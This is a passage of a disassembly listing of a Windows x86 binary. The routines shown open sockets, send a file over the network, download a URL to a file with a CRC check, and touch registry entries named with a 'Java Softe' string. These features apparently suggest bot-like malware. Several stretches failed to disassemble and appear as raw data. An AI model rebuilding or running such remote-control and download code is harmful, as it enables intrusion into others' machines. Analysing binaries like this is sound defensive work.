arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41746F
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_40B151
		add	esp, 14h
		leave
		retn
sub_40B1C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1F1	proc near		; CODE XREF: seg000:004122BDp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_43A734
		xor	ecx, ecx


loc_40B1F8:				; CODE XREF: sub_40B1F1+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_43E734
		jl	short loc_40B1F8
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_42B994
		jnz	short loc_40B228
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_40B228:				; CODE XREF: sub_40B1F1+1Fj
		push	esi
		call	sub_40B151
		pop	ecx
		pop	esi
		retn
sub_40B1F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: seg000:00403663p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_43A734


loc_40B237:				; CODE XREF: sub_40B231+27j
		cmp	byte ptr [esi],	0
		jz	short loc_40B24C
		push	[esp+4+arg_0]
		push	esi
		call	sub_409B26
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B25E


loc_40B24C:				; CODE XREF: sub_40B231+9j
		add	esi, 80h
		cmp	esi, offset dword_43E734
		jl	short loc_40B237
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B25E:				; CODE XREF: sub_40B231+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B263	proc near		; DATA XREF: seg000:0041236Do

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_40B2B6
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_42B9FC
		push	eax
		push	[ebp+var_11C]
		call	sub_412D32
		add	esp, 14h


loc_40B2B6:				; CODE XREF: sub_40B263+33j
		cmp	[ebp+var_98], 0
		jz	short loc_40B2D6
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_415A3F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_40B2D6
		mov	[ebp+var_8], eax


loc_40B2D6:				; CODE XREF: sub_40B263+5Aj
					; sub_40B263+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_43A734


loc_40B2DF:				; CODE XREF: sub_40B263+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_40B339
		cmp	byte ptr [esi],	0
		jz	short loc_40B328
		cmp	[ebp+var_98], 0
		jz	short loc_40B30E
		cmp	[ebp+var_4], 0
		jnz	short loc_40B30E
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_409B26
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B328


loc_40B30E:				; CODE XREF: sub_40B263+90j
					; sub_40B263+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_412D32
		add	esp, 14h


loc_40B328:				; CODE XREF: sub_40B263+87j
					; sub_40B263+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_43E734
		jl	short loc_40B2DF


loc_40B339:				; CODE XREF: sub_40B263+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42B9CC
		push	eax
		call	sub_4154CD
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_40B373
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_412D32
		add	esp, 14h


loc_40B373:				; CODE XREF: sub_40B263+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_40B151
		push	[ebp+var_18]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 39BDF286h
		clc
		pop	edi
		pop	esi
sub_40B263	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B392	proc near		; CODE XREF: seg000:00409E17p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_42BA20
		xor	esi, esi
		mov	ebx, offset aJavaSofte ; "Java Softe"


loc_40B3A5:				; CODE XREF: sub_40B392+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_43A31C
		cmp	[ebp+arg_0], esi
		jz	short loc_40B3DF
		push	[ebp+arg_0]
		call	sub_415CD0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43A38C
		jmp	short loc_40B3E9
; ---------------------------------------------------------------------------


loc_40B3DF:				; CODE XREF: sub_40B392+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_43A2D4


loc_40B3E9:				; CODE XREF: sub_40B392+4Bj
		push	[ebp+var_4]
		call	ds:dword_43A344
		add	edi, 8
		cmp	edi, offset dword_42BA38
		jl	short loc_40B3A5
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B392	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B402	proc near		; CODE XREF: sub_40B43D+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_40B437
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_40B41B:				; CODE XREF: sub_40B402+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_42125C[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_40B41B
		pop	edi
		pop	ebx


loc_40B437:				; CODE XREF: sub_40B402+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_40B402	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B43D	proc near		; CODE XREF: seg000:0040BF1Dp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_415DA9
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_415BC8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_40B48C


loc_40B462:				; CODE XREF: sub_40B43D+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40B490
		inc	ebx
		push	ebx
		push	esi
		call	sub_4174BF
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40B48C
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_416B90
		add	esp, 10h
		jmp	short loc_40B462
; ---------------------------------------------------------------------------


loc_40B48C:				; CODE XREF: sub_40B43D+23j
					; sub_40B43D+39j
		xor	eax, eax
		jmp	short loc_40B4AB
; ---------------------------------------------------------------------------


loc_40B490:				; CODE XREF: sub_40B43D+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_40B402
		push	esi
		mov	ebx, eax
		call	sub_415E1D
		push	edi
		call	sub_415B20
		add	esp, 10h
		mov	eax, ebx


loc_40B4AB:				; CODE XREF: sub_40B43D+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B43D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4AF	proc near		; CODE XREF: seg000:0040B568p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	ds:dword_43A3E8
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_40B52B
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	ds:dword_43A368
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	ds:dword_43A3A8
		cmp	eax, esi
		jnz	short loc_40B510
		push	[ebp+arg_0]
		call	ds:dword_43A3EC
		test	eax, eax
		jz	short loc_40B52B
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_40B510:				; CODE XREF: sub_40B4AF+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43A310
		cmp	eax, esi
		jnz	short loc_40B52F
		push	edi
		call	ds:dword_43A400


loc_40B52B:				; CODE XREF: sub_40B4AF+1Bj
					; sub_40B4AF+58j
		mov	eax, esi
		jmp	short loc_40B531
; ---------------------------------------------------------------------------


loc_40B52F:				; CODE XREF: sub_40B4AF+73j
		mov	eax, edi


loc_40B531:				; CODE XREF: sub_40B4AF+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40B4AF	endp

; ---------------------------------------------------------------------------


loc_40B535:				; DATA XREF: seg000:0040D8B2o
		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1B4h]
		rep movsd
		push	1
		pop	esi
		push	dword ptr [ebp-14h]
		mov	[eax+1B0h], esi
		lea	eax, [ebp-1ACh]
		push	eax
		call	sub_40B4AF
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short near ptr loc_40B5C7+1
		lea	eax, [ebp-11B4h]
		push	offset dword_42BAC4
		push	eax
		call	sub_4154CD
		xor	edi, edi
		pop	ecx
		cmp	[ebp-8], edi
		pop	ecx
		jnz	short loc_40B5AB
		push	edi
		lea	eax, [ebp-11B4h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	ebx
		call	sub_412D32
		add	esp, 14h


loc_40B5AB:				; CODE XREF: seg000:0040B58Ej
		lea	eax, [ebp-11B4h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-10h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 52F98B6Dh


loc_40B5C7:				; CODE XREF: seg000:0040B574j
		mov	bh, 68h
		mov	word ptr [edi-17ACFFBDh], cs
		push	cs
; ---------------------------------------------------------------------------
		dd 59FFFFF2h, 59FFF883h, 858D5975h, 0FFFFEE4Ch,	42BA8068h
		dd 0E2E85000h, 3300009Eh, 7D3959FFh, 1B7559F8h,	4C858D57h
		dd 0FFFFFFEEh, 8D50F475h, 0FFFF6C85h, 0E85350FFh, 7726h
		dd 8D14C483h, 0FFEE4C85h, 36E850FFh, 59FFFFFBh,	15FF53h
		dd 0FF0043A4h, 6AE8F075h, 5900009Ch, 6DC2E856h,	6A59E1E1h
		dd 6015FF64h, 33004210h, 1000BEFFh, 8D560000h, 0FFEE4C85h
		dd 0E85057FFh, 9F00h, 8D0CC483h, 0FFEE4C85h, 505657FFh
		dd 8015FF53h, 850043A3h, 8D387EC0h, 0FFEE4C85h,	6C7C68FFh
		dd 0E8500042h, 0A578h, 0EE4C858Dh, 0E850FFFFh, 0FFFFEF49h
		dd 850CC483h, 6A1474C0h, 6015FF64h, 6A004210h, 9B27E807h
		dd 0C0850000h, 8DA37559h, 0FFEE4C85h, 0BA3868FFh, 0E8500042h
		dd 9E1Dh, 59F87D39h, 571B7559h,	0EE4C858Dh, 75FFFFFFh
		dd 858D50F4h, 0FFFFFF6Ch, 63E85350h, 83000076h,	858D14C4h
		dd 0FFFFEE4Ch, 0FA73E850h, 5359FFFFh, 0A40015FFh, 75FF0043h
		dd 9BA7E8F0h, 57590000h, 206126E8h
		db 3Dh,	87h
; ---------------------------------------------------------------------------


loc_40B6F6:				; DATA XREF: seg000:0041152Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	ds:dword_43A3E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_40B744
		push	offset dword_42BC64
		jmp	loc_40B8FD
; ---------------------------------------------------------------------------


loc_40B744:				; CODE XREF: seg000:0040B738j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	ds:dword_43A368
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	ds:dword_43A394
		test	eax, eax
		jz	short loc_40B782
		push	offset dword_42BC2C
		jmp	loc_40B8FD
; ---------------------------------------------------------------------------


loc_40B782:				; CODE XREF: seg000:0040B776j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	ds:dword_43A30C
		push	dword ptr [ebp-2Eh]
		call	ds:dword_43A2A4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_415CD0
		pop	ecx


loc_40B7B4:				; CODE XREF: seg000:0040B7E5j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_40B7C7
		push	5Fh
		pop	eax
		jmp	short loc_40B7CA
; ---------------------------------------------------------------------------


loc_40B7C7:				; CODE XREF: seg000:0040B7C0j
		movsx	eax, al


loc_40B7CA:				; CODE XREF: seg000:0040B7C5j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_415CD0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_40B7B4
		push	ebx
		push	edi
		call	ds:dword_43A390
		test	eax, eax
		jz	short loc_40B7FD
		push	offset dword_42BAC4
		jmp	loc_40B8FD
; ---------------------------------------------------------------------------


loc_40B7FD:				; CODE XREF: seg000:0040B7F1j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	ds:dword_421078
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_40B827
		push	offset dword_42BBF8
		jmp	loc_40B8FD
; ---------------------------------------------------------------------------


loc_40B827:				; CODE XREF: seg000:0040B81Bj
		push	esi
		push	eax
		call	near ptr 0C11FAB63h
		pop	edi
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40A155
		pop	ecx
		push	eax
		call	ds:dword_43A3A8
		push	eax
		call	ds:dword_43A364
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_42BBE0
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D32
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	ds:dword_43A350
		test	eax, eax
		jg	short loc_40B8D7
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_42BBB4
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D32
		jmp	loc_40B9FB
; ---------------------------------------------------------------------------


loc_40B8D7:				; CODE XREF: seg000:0040B8B5j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	ds:dword_43A3FC
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_40B910
		push	offset dword_42BB7C


loc_40B8FD:				; CODE XREF: seg000:0040B73Fj
					; seg000:0040B77Dj ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	loc_40B9FE
; ---------------------------------------------------------------------------


loc_40B910:				; CODE XREF: seg000:0040B8F6j
		push	edi
		call	ds:dword_43A400
		cmp	[ebp+8], esi
		jz	loc_40B9C2
		mov	edi, 400h


loc_40B925:				; CODE XREF: seg000:0040B9B9j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_40B932
		mov	[ebp-4], eax


loc_40B932:				; CODE XREF: seg000:0040B92Dj
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_415550
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_4210AC
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_421068
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	ds:dword_43A3B8
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	ds:dword_43A380
		cmp	eax, ebx
		jl	near ptr loc_40BA56+1
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	near ptr loc_40BA56+1
		sub	[ebp+8], eax
		jnz	loc_40B925
		mov	edi, [ebp-18h]


loc_40B9C2:				; CODE XREF: seg000:0040B91Aj
		push	dword ptr [ebp-8]
		call	ds:dword_42106C
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_40C1FC
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		push	dword ptr [ebp-44h]
		call	ds:dword_43A3F4
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_42BB28
		push	eax
		call	sub_4154CD


loc_40B9FB:				; CODE XREF: seg000:0040B8D2j
		add	esp, 14h


loc_40B9FE:				; CODE XREF: seg000:0040B90Bj
		cmp	[ebp-50h], esi
		jnz	short loc_40BA23
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D32
		add	esp, 14h


loc_40BA23:				; CODE XREF: seg000:0040BA01j
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_40B151
		cmp	edi, esi
		pop	ecx
		jbe	short loc_40BA3B
		push	edi
		call	ds:dword_43A400


loc_40BA3B:				; CODE XREF: seg000:0040BA32j
		push	dword ptr [ebp-1F8h]
		call	ds:dword_43A400
		push	dword ptr [ebp-58h]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 53D81818h


loc_40BA56:				; CODE XREF: seg000:0040B9A5j
					; seg000:0040B9B0j
		sub	[esi-42h], dl
		cld
		mov	edx, 75FF0042h
		lodsb
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_412D32
		push	esi
		call	sub_40B151
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	ds:dword_43A400
		push	dword ptr [ebp-58h]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 2B111F73h
		jmp	far ptr	14C4h:0B8EC8B55h
; ---------------------------------------------------------------------------
		align 10h
		dd 0A2ABE8h, 8458B00h, 6A575653h, 59F08B6Dh, 0FE40BD8Dh
		dd 0A5F3FFFFh, 0DB33016Ah, 0F85D895Eh, 1B0B089h, 858D0000h
		dd 0FFFFFD3Ch, 10468h, 9FE85000h, 2A0702B1h, 0FE5C858Dh
		dd 8D50FFFFh, 0FFFD3C85h, 858D50FFh, 0FFFFFD3Ch, 426C8068h
		dd 0D6E85000h, 83000099h, 858D10C4h, 0FFFFFD3Ch, 806853h
		dd 26A0000h, 685653h, 50400000h, 107815FFh, 0F8830042h
		dd 680775FFh, 42BD6Ch, 0FF5046EBh, 42106C15h, 3C858D00h
		dd 68FFFFFDh, 42BD68h, 0A08EE850h, 3B590000h, 458959C3h
		dd 680775FCh, 42BD28h, 75FF1EEBh, 48858DE0h, 50FFFFFEh
		dd 0FFF956E8h, 0F88359FFh, 458959FFh, 68187508h, 42BCF4h
		dd 0FB3C858Dh, 0E850FFFFh, 9959h, 0FAE95959h, 0BE000000h
		dd 1000h, 3C858D56h, 53FFFFEBh,	99C2E850h, 0C4830000h
		dd 3C858D0Ch, 53FFFFEBh, 75FF5056h, 8015FF08h, 8B0043A3h
		dd 0FFB3BF8h, 9A84h, 0FFFF8300h, 75FF3674h, 3C858DFCh
		dd 57FFFFEBh, 0E850016Ah, 0BA1Bh, 83F87D01h, 75FF10C4h
		dd 6415FFF8h, 890043A3h, 8D53F445h, 46AF445h, 875FF50h
		dd 0A3B815FFh, 98EB0043h, 0FB3C858Dh, 0FC68FFFFh, 500042BAh
		dd 98D4E8h, 858D5300h, 0FFFFFB3Ch, 50E875FFh, 0FF60858Dh
		dd 0FF50FFFFh, 0FFFE40B5h, 711CE8FFh, 858D0000h, 0FFFFFB3Ch
		dd 0F52FE850h, 75FFFFFFh, 9EF6E8FCh, 0C4830000h, 875FF24h
		dd 0A40015FFh, 75FF0043h, 9657E8E4h, 6A590000h,	0F202E801h
		dd 8BB04F4Eh, 5299F845h, 5AAE850h, 8D500000h, 0FFFE5C85h
		dd 858D50FFh, 0FFFFFE48h, 3C858D50h, 68FFFFFBh,	42BC9Ch
		dd 985BE850h, 0C4830000h, 0EC5D391Ch, 8D532075h, 0FFFB3C85h
		dd 0E875FFFFh, 60858D50h, 50FFFFFFh, 0FE40B5FFh, 9BE8FFFFh
		dd 83000070h, 858D14C4h, 0FFFFFB3Ch, 0F4ABE850h, 5D39FFFFh
		dd 97459FCh, 0E8FC75FFh, 9E6Ch,	85D3959h, 75FF0976h, 15FF08h
		dd 0FF0043A4h, 0CAE8E475h, 59000095h, 30E4E853h
		db 29h,	8Dh, 0ACh
; ---------------------------------------------------------------------------


loc_40BCD3:				; DATA XREF: seg000:00410520o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	ds:dword_43A318
		call	ds:dword_43A278
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_40C15F
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	ds:dword_421078
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short near ptr loc_40BD99+1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_42C028
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40BD7D
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		add	esp, 14h


loc_40BD7D:				; CODE XREF: seg000:0040BD5Bj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-48h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 1A515B67h


loc_40BD99:				; CODE XREF: seg000:0040BD3Bj
		call	near ptr 1640BCD1h
		dec	esp
		adc	[edx+0], al
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_415DA9
		pop	ecx
		mov	[ebp-1Ch], eax


loc_40BDB4:				; CODE XREF: seg000:0040BE87j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	ds:dword_43A280
		cmp	[ebp-34h], esi
		jz	short loc_40BDF8
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	near ptr loc_40C1C4+1
		pop	ecx
		pop	ecx


loc_40BDF8:				; CODE XREF: seg000:0040BDE5j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 0F6B96D61h
		push	ebx
		cmp	edi, ebx
		jnb	short loc_40BE36
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_40BE20
		mov	eax, [ebp+8]


loc_40BE20:				; CODE XREF: seg000:0040BE1Bj
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_4155B0
		add	esp, 0Ch


loc_40BE36:				; CODE XREF: seg000:0040BE12j
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_40BE43
		cmp	edi, [ebp-3Ch]
		ja	short loc_40BE8D


loc_40BE43:				; CODE XREF: seg000:0040BE3Cj
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_40BE5D
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42BFDC
		jmp	short loc_40BE6D
; ---------------------------------------------------------------------------


loc_40BE5D:				; CODE XREF: seg000:0040BE49j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_42BF98


loc_40BE6D:				; CODE XREF: seg000:0040BE5Bj
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43F2F8
		push	eax
		call	sub_4154CD
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_40BDB4


loc_40BE8D:				; CODE XREF: seg000:0040BE41j
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_40BEE2
		cmp	edi, [ebp-3Ch]
		jz	short loc_40BEE2
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_42BF50
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_412D32
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40B151
		add	esp, 28h


loc_40BEE2:				; CODE XREF: seg000:0040BE97j
					; seg000:0040BE9Cj
		call	ds:dword_42104C
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_42106C
		push	dword ptr [ebp-1Ch]
		call	sub_415E1D
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_40BF6C
		lea	eax, [ebp-148h]
		push	eax
		call	sub_40B43D
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_40BF6C
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_42BF14
		push	eax
		call	sub_4154CD
		push	esi
